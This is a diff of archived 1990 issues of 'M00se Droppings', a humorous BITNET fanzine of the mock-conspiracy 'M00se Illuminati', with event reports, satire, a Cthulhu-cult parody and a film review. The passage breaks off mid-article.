know, and I apologize. +It took me a while to get material for it, and once I did, I wanted to hold it +over for a report on an event that happened this past weekend, and I wanted +more political content (which didn't really show, dammit ). But here it is, +with some interesting and amusing items, and I hope you enjoy it. Be good, be +m00sey, and send submissions! + + -Bill + +-------------------------------------------------------------------------------- +************************** IMPORTANT ANNOUNCEMENTS ***************************** +-------------------------------------------------------------------------------- + + I have, in my account, copies of HR4079 (the Newt Gingrich idea discussed +in Issue #41) and "Crime and Puzzlement," the article about Operation Sundevil +written by John Perry Barlow. Both are far too long to include in M00se +Droppings, but anybody who wants a copy should contact Pickle at: + + DICKSON@HARTFORD.BITNET + + These files are important, and frightening. Order your copy today. + In addition, I have the new, revised M00se Illuminati information files. +There are now three files: M00se.History, M00se.Charter, and M00se.Info. If +you would like an updated copy, please send me a note. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +Honorary M00se candidate suggestion from Goblin: Grant Morrison, writer of the +"Animal Man" comic series. + +-------------------------------------------------------------------------------- +****************************** EVENTS AND NEWS ********************************* +-------------------------------------------------------------------------------- + +[Sounds like a good idea to *me*. From Goblin. -WRD] + + +Howdy all, (Bl00p!) + + How about a Summer Water-Logged Thr0ng-A-Th0n?? The M00ses in the general +area of New England (and those who are willing to trek here from various +distant-far-off-lands) could gather at a random place near water and bring as +many floatation devices as they can create or buy and have a grand gathering. +We could meet in M00sup connecticut if it has any lakes or water. Or any other +m00sey-sounding place. I think the best bet would be to find a place with a +great BIG lake and some space...and have a cook-out & a water-logged gathering! + Anyone like the sugestion? Anyone know of a likely State Forrest? Or does +anyone have access to a place that fits the discription? + How about it? August sound likely? I myself prefer having the Water- +Logged Thr0ng-A-Th0n somewhere in the first two weeks of August. But whatever +works would be cool with me... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Some political content that you all may not have heard about. Pilfered from + the Anarchism list, via the Politics list. -WRD] + + + Is the rest of the country aware that the U.S. army has attacked U.S. soil +for the first time since the Civil War in the Operation Greensweep raid in +Humboldt County, California? We're talking about 200 troops in camouflage with +M-16s, helicopters etc. searching for deadly marijuana plants in the Kings +Ridge national forest. At least three Civil Rights violations were reported in +the first day of the raid, and a law suit is expected to follow. People have +had M-16s waved in their faces with no explanation on private land, chased off +hiking trails, etc., all in the name of "giving the forest back to the people." + In fact, according to govt statistics, no one has been hurt by marijuana +growers while visiting the national forests of Humboldt Co. (or elsewhere in +N. Cal.) for years (the only incidents that have ever occurred involved +disputes between growers, cops, and thieves). + The fruits of this operation are laughable. After 4 days of operations, +200 men have succeeded in finding only 600 plants; in comparison, a single +helicopter eradication team averages nearly 300 plants per day. In short, a +total boondoggle. + Meanwhile, the army is trampling over some of the most beautiful backwoods +wilderness land in the state, chasing hikers and hunters away and barring local +people from access to their land. The excuse for this abomination is that +President Bush promised the Latin Americans that he would adopt the same +tactics against our drug producers as he was urging them to adopt against +theirs. In short, he promised to treat America like a banana Republic! So +much for all those narco-trafficante hippies in Humboldt Co. Your recreation +area may be next! Protest now to the Bureau of Land MisManagement. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[An unauthorized account by Pickle. -WRD] + + + Marriage is an institution. But there are occasions that make it seem +like a good one. Oddly enough, caught up in an optimistic mood even after a +long, dark, 245-mile trek to Syracuse, I had the opportunity to attend just +such an occasion. + On August 4, 1990, on a bluff overlooking Lake Ontario, a medium-sized +group of people gathered together to bear witness to the marriage of Christy +Russell, AKA GypsyLynx, to Steve Phillips. Nearly half the group, including +yours truly, was dressed in renaissance garb, to suit the ceremony that had +been chosen for the wedding. The sun shone more than adequately, and the lake +lent a unique atmosphere to the event. + The bride looked perfect in her outfit, and the groom looked worthy of +her. The ceremony was brief and elegant, lasting not quite as long as the kiss +that completed it. All the single women in the area got the opportunity to +pluck a bow from the bride's skirt for luck in love and marriage, and we set +off for the festivities planned to follow at a nearby Renaissance faire. + It was a long day, and a lovely day. The faire was large and shady, with +many friendly, interactive personalities wandering around keeping us all +entertained. I taught the tax collector the secrets of the ancient martial +art, KenKausch, and enjoyed a pleasant, icy neck-rub from a friendly young +peasant woman who was helping me cool down. The bride and groom were honored +with an announcement of their marriage at the joust, in the queen's presence, +and their favored knight, Sir Micheal, put on a fine show until he was defeated +by the cowardly, cheating Sir Geoffrey (who may not spell his name that way) in +a treacherous, clearly illegal move. + When the wedding mead ran out, this writer was able to satisfy his thirst +at the many pubs at the faire, drinking a splendid quantity of ale. After a +joyful and friendly pubsing to end the faire, we all went home, wishing the +newlyweds a fine honeymoon. + Naturally, no superb day can go unblemished. Par for the course, yours +truly stumbled into the company of the bride's sister, a remarkable and +beautiful woman who helped make the afternoon still more enjoyable. Sadly, she +lives in Arizona. But such developments are to be expected. + All in all, an experience to make one most glad for the couple and for +being there to enjoy it. I now have a much higher opinion of faires in +general, and, Leviam00se willing, will see some of you at another one in the +not-too-distant future. + M00ses present (off the top of my head): Christy, Steve, Pickle, +Alacrity, Lord Trelf, Sabre, Guardian Angel, Half-Elf, the Innkeeper, Warm00se +(who I finally met), Scamp, Ice, Niniane, Kamikaze. I apologize most profusely +if I have forgotten anyone! + +-------------------------------------------------------------------------------- +**************************** INTERESTING ARTICLES ****************************** +-------------------------------------------------------------------------------- + +[Submitted by Goblin, a m00sitarian issue close to our hearts. -WRD] + + +Greetings fellow Bl00pers and Bl00p-ets, + + There is a grave matter that I would like to bring to your attention, a +threat to our cousins in wilderness, the m00se (m00ses, Meese?) and Deer. They +are being hunted and killed at an alarming rate in our country. In New +Hampshire, people are trying to make a difference and march against this +injustice. (What do you expect from a state whose motto is "Live Free or +Die?") What about the rest of us? We could make a difference as M00ses. The +only way to stop the senseless waste of animal life before it is too late is to +write to your senators and speak out! There are animal rights groups all over +the world that are always looking for volunteers, maybe the M00se Illuminati +could leave their H00fprint on the world for endangered animals? + I will have an address of a New Hampshire resident sometime soon who is +a wealth of knowledge on the M00se and Deer issue. She would be happy to talk +to any interested folk. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Submitted by Pickle. -WRD] + + + ELVIS PRESLEY -- PR0T0M00SE? + + There have been many myths and speculations hanging around Elvis like a +shroud for the past fifteen years (more or less). Claims that he is not dead, +that he was murdered, that his ghost has appeared in mold spots on kitchen +appliances, have all abounded in this great country. The fine documentary film +"Mystery Train" records an appearance by Elvis in a woman's hotel room. And, +of course, the National Enquirer has listed more instances of Elvis-related +supernatural phenomenon than one can comfortably count. + Is it all a sham? A hoax? Have millions of people been deluded? Or is +it science that has betrayed us, attempting to deny the truth about one of +history's most important and powerful social icons? + Well -- yes and no, on all counts. + We must acknowledge that the body of Elvis Presley lies in its final +resting place. The coffin is full, the headstone in place. + But is that all there is to a human being? Can that possibly be all there +is to Elvis, who may have been something more than a human being? + Let us consider the facts. Elvis has survived, without pause, in the +collective subconscious of the world, since his "death" on August 16 of 1977. +But he has not survived in the form he died in -- he is not remembered as a +tremendously overweight glutton, he is not canonized as a pathetic drug addict. +Nay, he exists in the collective subconscious as the young, healthy, heroic +Elvis, the Elvis who rescued the helpless and sang his heart out in the films +that were made. Indeed, he is remembered not as he *was*, but as *what he +would like to be remembered as*. + In short, the Elvis that is being kept alive in the minds of countless +people around the globe is an *ideal* Elvis; a Jungian Elvis, if you will. +This is the Elvis that is painted on velvet, this is the Elvis that Mojo Nixon +sings about. + But how could the Jungian Elvis differ so from the Elvis we saw in his +last years? + My theory is that Elvis was in possession of extraordinary power -- the +power, not only to immortalize himself with the energy of others' minds, but +the power to remake himself into the perfect being that he must be to provide +the spiritual guidance that is his responsibility. Any illuminated being, such +as a Bavarian, could achieve the first -- but the second? That would require +the power of illuminated *confusion*, a power that we of the M00se Illuminati +have refined beyond the abilities of other, lesser conspiracies. + The evidence points very clearly, I think, toward Elvis as an early, +secret disciple of Leviam00se. He helped pave the way for our great +organization, and even today, the Jungian Elvis furthers our goals world-wide. +Let us now recognize Elvis Presley as the higher being he is, and always has +been. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[This remarkable item submitted by JiMb00se. -WRD] + + + It will make all m00ses a bit gald to know that at least one founding +father thought rather highly of the whole deal. + I was preparing a long list of Jefferson quotes for a project I am working +on, when I came across a reference to the Illuminati by *Thomas Jefferson*! + I quote: + + "I have lately by accident got a sight of a single volume + (the 3rd) of the Abbe Barruel's _Antisocial Conspiracy_, + which gives me the first Idea I have ever had of what is + meant by the Illuminatism against which 'Illuminate Morse', + as he is now called, and his ecclesiastical and monarchical + associates have been making such a hue and cry." + + He goes on to explain that "Barruel's own parts of the book are prefectly +the ravings of a Bedlamite." + He notes though, that he deciphered from the direct quotes of Wishaupt +(founder of the Illuminati) a good deal about what the Illuminati are about. + It seems that Wishaupt thought that the Masons had turned away from the +true teachings of Christ (which, to Jefferson, meant a bunch of stuff about +True Liberty). So he founded his secret society to spread, according to +Jefferson "information, reason, and natural morality among men." + I finish with another long quote: + + "This subject being new to me, I imagine that if it be so + to you also, you may receive the same satisfaction in + seeing, which I have had in forming the analysis of it; + and I beleive you will think with me that if Wishaupt had + written here, where no secrecy is necessary in our endeavors + to render men wise and virtuous, he would not have thought + of any secret machinery for that purpose..." + + How about that? + Honest to m00se, I ain't makin' it up... + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +[Every once in a while, we like to advertise for the competition. It helps + keep their guard down. This submitted by b0liver shagnastY iv, author + unknown. -WRD] + + + CAMPUS CRUSADE FOR CTHULU + + "It found ME!" + "The obscene idol grotesquely squats on top of a rough hewn granite +pillar. The fire around it crackles and roars high. We are joyously dancing +around it all; hands linked, half naked, we are whole, laughing with joy and +desire." + Searching for excitement, power? Seeking a higher cause, one worthy of +your very life? The Campus Crusade for Cthulhu offers all this, AND MORE! How +does Tall, Green, and Slimy sound to you? Pretty scary. But you can handle +it. You will have to learn how to. You will learn to yearn for the soft +squeezing caress of undulating tentacles. Or you will be eternally sorry that +you did not. Think that you are searching for meaning still? Well, search no +more! We have found you. Soon, when you expect it least, our agents will +contact you. Soon you will not have to worry about anything. Ever. Again. We +know more about you than you can ever learn about us. And who are we? + We are both the oldest and the newest college organization in existence. +We are sponsored by the ancient Cthulhu Cult, which predates all history. +Before the United States of America, before ancient Greece, before Atlantis. +Before the first Illuminati attempts at world conquest our tentacles had an +unbreakable grip upon the entire Earth. We have never let go. Ever since we +were pre-men, the Cthulhu Cult has served the Great Old Ones, the unspeakable +horrors of legend. It is they who lived eons before they brought life upon +this Earth. They came from distant unknown space, falling out of the sky upon +our virgin Earth. Through covert means, their lurking shapes held sway over +our young planet, guiding it's course to serve their own needs. They destroyed +the dinosaurs when they were done with them, and so made way for the first men. +The Old Ones died three million years past, gone into the Earth, under the sea. +Dead they were, yet undead; their dreaming still bodies reached out, and so +molded the minds of our distant ancestors. The greatest of their High Priests, +whom we know as Cthulhu, lay deep within his sunken R'lyeh Temple and guided +all of history through the Cult. Ever we have prepared the world for the day +they shall return. Then the world shall fall under the clinging grip of the +Great Old Ones reborn. And only those who serve them in this life shall +survive. For a time. That is why we worship Cthulhu, why you cannot afford not +to. Ever we await his return from his tomb at R'lyeh. For we know that the +words ever hold true. + The history of our club is a strange and wondrous one; early on in this +century the ever growing Cthulhu Cult founded the Campus Crusade at Miskatonic +University, the hallowed center of learning located among the misty hills of +Arkham, MA. Our first moves were carefully planned: information tables in the +University Union, arcane bake sales, ceremonies in the remote regions of +campus, and the like. After a year we had become a campus fixture. + The next year we reached out for other campuses. Yale, New York +University, SUNY-Binghamton, they were but a few. Now we have over 666 schools +in our rule. And that is only counting the United States! + Remember the uprisings of the sixties, REMEMBER Kent State? They were +small experiments on our part, to demonstrate our power. + By the end of the second year we had possession of the entire University! +Classes were cancelled so that all could take part in our ceremonies and ritual +Virgins of both sexes begged to be sacrificed on our behalf. Our political +control of Arkham was absolute. + Remember, we have been watching you for a very long time. We will +continue to do so for the rest of your life. However long that shall be is up +to you. So, join the fastest growing conspiracy on the planet! Be ready for +the time of the re-awakening. + + * Intimate contact with those of like interests. + * Eternal companionship in this life and the next. + * The safety of numbers. + * Spiritual support in case of legal prosecution. + * Enhanced lifespan: chances of surviving the return of the + Great Old Ones double when you are with us. + * POWER -- Come the New Time, you will be given absolute control + over the city of your choice, if all turns out as planned. The + festering remnants of humanity will be yours to do with what you + wish. + + * Never again shall you be bored! + * Never again shall you be cold! + * AND you get your very own membership card, which entitles you + to a ten percent discount on all items stocked at our numerous + occult shops! + + * Greatly reduced life expectancy. + * Justified paranoia. + * Constant fear. + * Great chance to become a Cthulhu breakfast snack. + * A death guaranteed NOT to be quick and painless. + + * For your own safety... Write for more information: CAMPUS + CRUSADE FOR CTHULHU Box 544 SUNY-Binghamton New York 19301 + + Or stop by our Offices in Phoenix, Denver, Salt Lake City, Philadelphia, +Los Angeles, San Francisco, Dallas, Macon and Nashville. + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +All right, folks, please remove the following m00ses from your list: + + BETH1@KSUVM + BENDZINS_THV@CTSTATEU (Salmonm00se) + JDOTY@WESLEYAN (The Keeper) + JBLUESTEIN@WESLEYAN (WabeWalker) + + Total Lost M00ses: 4 + +Also, please change KG5927@BROCK1P to KARL@BROCK1P. + +Lastly, there is another change. But I'll let him tell you about it in his own +words: + +This server is dedicated to a single function: correcting the spelling of my +name. It cannot be accessed by listserv command, and is in fact, an entirely +theoretical construct. It has come into being because I have detected +misspellings in the following: Bill Dickson's M00se Illuminati distribution +list, Jimbo Wales' Jimboserver, and the pardon that was just given to me +by the governor for hacking up 37 innocent bystanders with a herring. All +three spelled it as "Olsen" which is not only 20% incorrect, it violates +the new FCC obscenity standards. Please correct this or I'll tell Tipper +Gore where you live. + + Gary W. Olson + 34EPWQL@CMUVM + +(In case you didn't notice, Gary's name was spelled "Olsen" in the last version +of the m00se list.) + +================================================================================ +UE -- ELVIS IS STILL THE KING ISSUE -- ELVIS EATS BOATS ISSUE -- ELVIS EATS BOAT +================================================================================ diff --git a/textfiles.com/magazines/M00SE/m00se44 b/textfiles.com/magazines/M00SE/m00se44 new file mode 100644 index 00000000..d56f8ee2 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se44 @@ -0,0 +1,413 @@ +================================================================================ +STEAL THE AIR -- STEAL THE AIR -- STEAL THE AIR -- STEAL THE AIR -- STEAL THE AI +================================================================================ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue 44 | Disclaimer: The Editor does hereby take responsibility | 09/08/90 +---------- for the full contents of this newsletter. Accountability ---------- +is now the name of the game. A pox on playing it safe. Let's get real. Bl00p. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** THE ISSUE AT A GLANCE ***************************** +-------------------------------------------------------------------------------- + +EDITORIALS AND LETTERS + More rantings from the Editor + Comments on possible directions for the M00se Illuminati + The Elvis/Boats debate + +IMPORTANT ANNOUNCEMENTS + Updated m00se files + +EVENTS AND NEWS + A new landedm00se + Rat Pucking in Connecticut + +INTERESTING ARTICLES + Signs of Universal M00seness and the Dawn of the Bl00p age + +FILM REVIEW + Pump Up the Volume + +M00SCELLANEOUS NONSENSE + A new look at the Iraq situation + A possible new feature for M00se Droppings + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Hail and well met. + You now hold in your grubby little account issue #44 of M00se Droppings. +Congratulations. Spread it far and wide, and try to increase our membership. + Those of you who are more astute than the average toad may have noticed +that this issue is kind of late. Well, I apologize for that, and can only +plead lameness. Yes, that's right - I am leading a Lame Life. + Now, this shouldn't come as too great a surprise. Most people lead lame +lives, but most people don't notice it. As my roommate said (and as other, +better people have said before him): You go to school, you graduate, you get a +job that you don't really like, you either get married or never meet anybody +who will consent to join you in that venture, and then you just kind of exist. + The problem is, you get bored, and then you get listless, and then you +don't get around to doing things like editing and mailing your magazine, just +because. + But then, you realize that you have founded a Force for Good in the world, +named the M00se Illuminati, and that you must not be quite normal after all, +and that goddamn it, you're going to put that magazine out because it's one of +the few things that can counteract the drudgery of your pathetic text +processing job. So, here it is! + Nah, it's not really that bad. It just usually seems to be. Especially +after being put into a bad mood by a second viewing of "Pump Up the Volume," +reviewed below. There have been a couple most interesting events recently, all +of which we will come to presently. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + Now we have some comments on some of my proposed projects for the M00se +Illuminati, from MagicM00se, aka Freed0m M00se: + + Personally, I like the M00se Illuminati precisely _because_ + there are no membership cards, no dues, no purpose. Sure, we're + all atheists or pagans, anarchists or revolutionaries, but to try + to define the limits of our vision is to give up our freedom, our + m00siness. + OK, I know you don't want to push any ONE viewpoint on the + masses of m00ses, but to organize is to label, and when we become + known as a group we will be viewed as a group. What worse fate + could there be for a m00se, born to know the freedom of the fjords? + Well, that's my 2 kopeks worth. I say we stay a chaotic + thr0ng, difficult to keep track of. + + "M00si i'halla shansu" + "M00sey peace upon you", in the Old Tongue of Jennifer Roberson's + books. + + + The fact that no progress on any of these projects has been made aside, I +would like to comment. I have indeed ruled out dues entirely; I don't want to +take any steps to *reduce* membership. However, *if* we start a paper +newsletter, there will be a subscription fee, just because whoever does the +printing will at least want to break even. I promise you that a paper +newsletter will never replace M00se Droppings; it will be purely for the +benefit of people who don't have net access, but want to receive semi-regular +news of the M00se Illuminati. It would also be useful in that it could be left +where other people would find it. + As for membership cards and the like, again, I certainly would not make +them mandatory. But wouldn't it be neat to flip one out when you got carded, +or when you were asked for ID? Probably not the kind of thing the organization +as a whole should do; but I encourage m00ses to waste money at the printers +having personal M00se Illuminati business cards made for themselves. + Some people have expressed a dislike for the compiling of m00se lists. +I'm going to continue to do this, though, because I am very curious about how +far the conspiracy is spreading. I recently discovered that the info files (an +old version, I believe) worked its way onto some Internet usegroups. I got +email from a person who said he saw a physical copy stuck on an actual cork- +based bulletin board in New York City. Obviously, I won't be able to keep +track of all, or even most of the m00ses. But it's so much fun to wave the +numbers at people who called me mad! + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + Lastly, before going ahead with the issue, I wish to keep you all +appraised of a debate raised by last issue's not-plain brown wrapper. +Warm00se, who I ran into again at the faire in Sterling, New York, informed me +that the line is not "Elvis *eats* boats," but rather "Elvis *needs* boats." +I'm sure you'll all agree with me that this is patently absurd. We have proven +that Elvis is a superior being. What on earth would he need boats for? Elvis +has no needs. Maybe he *wants* boats, but to say that he needs them makes no +sense. Sorry Pat. + For more information, go to your local comic book store and purchase a +copy of "The Elvis Mandible," in which many secrets are revealed. + + On with the issue, + + Bill. + +-------------------------------------------------------------------------------- +************************** IMPORTANT ANNOUNCEMENTS ***************************** +-------------------------------------------------------------------------------- + + Just to announce it again, updated m00se files are available. And now, +when you order updated files, you will receive an updated m00se list as well. + Keep sending submissions! Keep recruiting new members! + +-------------------------------------------------------------------------------- +****************************** EVENTS AND NEWS ********************************* +-------------------------------------------------------------------------------- + +[Along with the new effort to list and keep track of landedm00ses (those + chapters without network access), it seems only appropriate to discuss them + once in a while. Thanks to Lord Trelf for this piece. -wrd] + + + Hail and well met, my dear fellow M00ses! 'Tis I, Lord Trelf, posting at +last after a long absence from contributing, and I bring glad tidings indeed! +WE HAVE A NEW MEMBER! At the Sterling Renaissance Faire in Sterling, NY this +weekend (August 18 and 19), Lady Rebecca Hughes was inducted as a full member +of the M00se Illuminati. She had been subjected to many confusing ramblings by +myself, Sabre, CHAOS Engineer, and WarM00se, and began to ask questions; rather +than explain, we made her a member! To show her willingness to fight for our +causes peacefully, she did run about the parking lot, holding her hands in the +M00se symbol and bl00ping merrily. We who were there at her induction (myself, +Sabre, and CHAOS Engineer) feel that she is an excellent addition to the +Illuminati. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[A report of a m00sey event, by Pickle. -wrd] + + + Labor Day. It happens every year. It strikes me as a completely stupid +idea, celebrating labor, something that we only do because we have to eat. +Something we do when we could be out walking in the woods, canoeing down the +Chattooga, making love in the public square. + But this time -- this year, it was different. The sun shone, the breeze +was perfect, and students had just returned to the University of Hartford. + Mike Harm and I woke up in our New Britain apartment, looked outside, and +vowed not to spend the day indoors. Sadly, suffering from Romantic +Deprivation, we had no special anybodys to take on a picnic, and we've already +climbed Avon Mountain this summer, and we couldn't afford to go to an amusement +park. + Then, I started thinking back to the renaissance faire in Sterling. They +had an activity there called "rat pucking," which seems to be a poor person's +medieval version of golf. You take a rat and a stick, and you fling, or +"puck," the rat along the fairway until you can get it through the target, +usually the crotch of a tree. + I suggested it. Mike decided it must be done. We shopped around and +couldn't find any stuffed rats, so we went to my house and made some out of +some ratty old furry fabric I had, left over from my high school theatre days. + We constructed a pair of fine rats, Terence and Pat Buchanan by name, and +then cut down a couple small trees for pucking sticks. After a little work +with a chainsaw and a utility knife (with which I accidentally gouged a decent- +sized hole in my leg), we took the assemblies to the University of Hartford, +and began pucking. + The Village Apartment green was swarming with newly-arrived students, many +of them jocks and frat types. Oddly enough, none of them scoffed. We soon had +an audience, and after our second game, two charming women came out of the +apartment nearby and asked if they could play. We eventually picked up three +more people, and wandered around the green from apartment quad to apartment +quad, pucking a hole in each quad. Audiences applauded and cheered, and sent +delegates to find out what we were up to. All in all, it was a fine afternoon, +and the charming women (Sharon and Marie by name) invited us back to their +apartment for dinner. It happened also to be my old friend Missy's apartment +(Missy is another spectacularly charming woman), and we all had pesto and +spinach salad and watched "Bill and Ted's Excellent Adventure." + Conclusion: Rat Pucking is a most m00sey sport, and can help you meet +cool people. Go, and enjoy. + +-------------------------------------------------------------------------------- +**************************** INTERESTING ARTICLES ****************************** +-------------------------------------------------------------------------------- + +[Who needs the Oracle? It seems we have a prognosticator right here in our own + organization. Here is the beginning of the revelations of Lord Sabre. -wrd] + + + ***The Vision*** + + On August 20, 1990, while sitting at work after being sick all the week +before and then staying out until 2:30 in the morning dancing and carrying on +the night before, and after far too much coffee, the young, semi-relusive m00se +known only as Sabre entered a reverie and was able to fortell...the *Signs of +Universal M00seness and the Dawn of the Bl00p age*! These mystic, some would +even say unlikely events passed through his fatigue poison-soaked brain like +rabbits through a kiln. + Feeling it was his duty to let his brethren know the signs of the age of +M00se, Sabre did place them in an electronic medium, so that the Bavarians (who +of course control the vital YALEVM/CUNY link) would be too confused to properly +restrict it. Therefore, here are the beginnings of the Signs. + + When the seas do turn red, and the skys indigo (in the + precise shades to insure lack of color coordination), + then will the forces from the stars run rampant across + our fair land. These forces -- the power of Leviam00se + and other m00sey types, will first visit a nearby McDonald's + for a Quarter-Pounder with Cheese and fries, side of nuggets, + and a large Orange Drink. Unfortunatly, the all-powerful + forces will attempt to go through the drive-through, and + lack of communication will waylay them for a considerable + amount of time. Months, perhaps. + + Meanwhile, Madonna will be looking out her veranda, trying + to decide what corset to wear to the neighborhood mall, + will be visited by God. + + "Hello, Madonna," the Almighty will say. + "Yeah, what?" She will respond. + "I have come to you, my child, to call on you to bring + forth a message of hope and peace to the world." + "Right. Who is this really?" + "Look, I am God. Father, son, spook, the whole bit. All I + want from you is for you to go back to some normal hair + color, put on some clothes, and go tell people to be nice + to each other. You think you can handle that?" + "Look, I don't care how omnipotent you are, God," Madonna + will say, pouting, "*I* have an image to maintain, and it + doesn't involve brown hair or decent clothing. And there's + no money in 'be nice to each other.' Try Sheena Easton -- I + hear she's a sucker for a sappy line." + "Look, I'm trying to--" + "Buzz off!" + "Right!" And thus will God rise up, take Madonna up into + his all-powerful hand, and cast her down forever into the + pit of eternal damnation. This will be the first sign. + + "No," the impossibly mighty Leviam00se, ticked now, will say, "I + want a *QUARTER-POUNDER*! *CHEESE!!!!* Can you hear me?" + "Mmmmm mmmm mmmmmmmmmm mmm mmmmmmm?" the voice from the machine + will ask. + "QUARTER-POUNDER!!!!!!!!" + + Thor, mightiest of Norse deities, will visit North America, + and announce plans for a North American Tour. He will make + plans to do some Anthrax covers, and perhaps a bit of Black + Sabbeth. When asked about the quality of his singing voice, + Thor will hurl his uru hammer Mjolner, obliterating Dan Rather + utterly and interfering with television reception across the + tri-state area. Then, as a gesture of faith, he will smite + down the New Kids on the Block, maiming but sparing them. The + scarred and rended New Kids will refuse to do any more magazine + covers. This will be the Second sign. + + + More signs will come forth...perhaps, with luck, the seer will not be +nearly as tired and the general humor quality will improve. + +-------------------------------------------------------------------------------- +******************************** FILM REVIEW *********************************** +-------------------------------------------------------------------------------- + + PUMP UP THE VOLUME + Reviewed by Pickle + + "Eat your cereal with a fork, and do your homework in the dark," advises +Happy Harry Hardon just before he signs off, before the opening credits of +"Pump Up the Volume." Sound advice, I'm sure you'll agree. + Happy Harry Hardon is a pirate DJ in Suburbia, Arizona (I'm pretty sure +it's Arizona). His real name is Mark Hunter, his father is the new +superintendent of the district, he can't reach any of his friends back east on +his shortwave set, and he hates school. He's too shy to actually speak to +anybody, so at ten o'clock at night, he cranks up the shortwave and broadcasts +his show on 92fm. The students start listening, they start getting more active +in their discontent with their wretched situation as teenagers in an empty +decade, and the Authority Reflex kicks in to try to put a stop to it. + It sounds fairly familiar, but this is a much better movie than the +standard "young people are the only ones with a clue and should start doing +something about it" movie. If the movie is taken the right way, it could be +real bad for the status quo in America. "Steal the air! It belongs to you!" +Mark/Harry shouts at the end of the film. And he's *right*. Where does the +U.S. Government get off controlling use of electromagnetic waves running +through the planet's atmosphere? We've had a lot of things usurped from us, +and this film advises us to start taking them back. It made me want a +shortwave set, anyway. + Christian Slater, the psychopath who understood things pretty well in the +black comedy "Heathers," plays Mark/Harry. He does an excellent job of showing +us the confident Harry when alone, talking to a microphone, and then switching +to the totally socially inept Mark when in the presence of others. And, as in +Heathers, he has a co-star who I would marry in an instant, given the chance. +I have a list of the cast, but not the characters, in front of me; Nora is +played by either Ellen Greene or Samantha Mathis. I think it's Mathis. She's +a dark-haired, artsy-fartsy type who isn't really quite as uninhibited as she +pretends to be. Not quite enough to push Winona Ryder out of her place in my +heart, but close. + The adults in the movie are, almost without exception, total boneheads. +Sadly, I'm over twenty myself, and so I'm no longer quite as sure of the truth +of this as I was a couple years ago. But in general, it works. + The main weakness of the film is the villainess, the principle of Hubert +H. Humphrey High School. There is a totally unnecessary subplot involving her +extreme and nasty methods of maintaining the school's record of having the +highest average SAT scores in the state. It's almost as if somebody didn't +like the idea that life as a teenager could suck so badly no matter where you +are, so they insisted that this subplot be written in to demonstrate that this +particular high school has something *really* wrong with it. Hard Harry's +rants on his shortwave apply to Life As We Know It in America; insertion of +this "bad guy" dilutes that message, allowing one to see the problems as +isolated at Harry's/Mark's high school. But for those who can look past this +problem, the movie works extremely well, and may even wake some people up. + One final note: one of the dropouts in the film is played by one Billy +Morrisette. I'm not sure which one; I've seen the movie twice and still can't +pick him out for sure. You may have seen him as Alex's college chum in "Family +Ties" if you ever watch that show. *I* last saw him when he directed my junior +high-school production of "Bye-Bye, Birdie." Yup, he went to my high school. +I think he graduated four or five years before I did. The lead singer, +guitarist, and songwriter for "Chronic Disorder" and "Thick As Thieves," Jason +Wentzel (sp?), was in my class in high school. My brushes with greatness. But +I digress. + Go see "Pump Up the Volume." It's good, it's hip, it's got Christian +Slater and a new dark-haired funky woman, and hopefully it'll speed up the +downfall of the United States government. + Talk hard. Steal the air. Pump up the volume. + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +[Oh dear. This piece, submitted by Ice Lord, was pirated from WEIRD-L, but + since it came originally from the Boston Globe, I don't feel bad about + including it. I'm pretty sure all but the first paragraph is made up. In + any case, it fits in well as an example of both a political slant and a truly + bizarre, m00sey thing. Also, those of us who are suffering from "romantic + deprivation" might want to consider invading a small country. -wrd] + + +BOSTON GLOBE, 8/22/90 p. 48 + + Suffused with humanitarian concern, Italian legislator and ex-porno star +Illona Staller volunteered to fling woo with Iraqi leader Saddam Hussein on the +theory that a birthday suit frolic might relieve his hostilities. "I'm +available to make love with Hussein to achieve peace in the Middle East," said +Staller in a statement as immodest and forward as the on-screen conduct that +made her a star. Known as Cicciolina, or "Little Toy," Staller volunteered +herself during an interview on a Buenos Aires talk show. Why Staller was in +Argentina and why she believes that romantic deprivation may account for +Saddam's invasion of Kuwait were not made clear in wire service reports. + In related stories, French President Francois Mitterand offered to perform +an act of oral gratification on Hussein in return for the release of French +nationals in Iraq, and British Prime Minister Margaret Thatcher and President +Bush issued a joint statement this morning suggesting that Hussein engage in a +masturbatory act. + Congressional leaders are in their third day of conferences concerning +action to be taken on the crisis in the middle east, sequestered in a Motel 6 +in suburban Baltimore. Options being discussed, revealed House Armed Services +Chairman Les Aspin of Colorado, include a pre-emptive bombing attack on Baghdad +and distribution of thousands of rubber party dolls to Iraqi troops. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Life according to Mugwump, and a suggestion for more m00se activity. -wrd] + + + I think a m00se chased my cat away this morning. + I'm 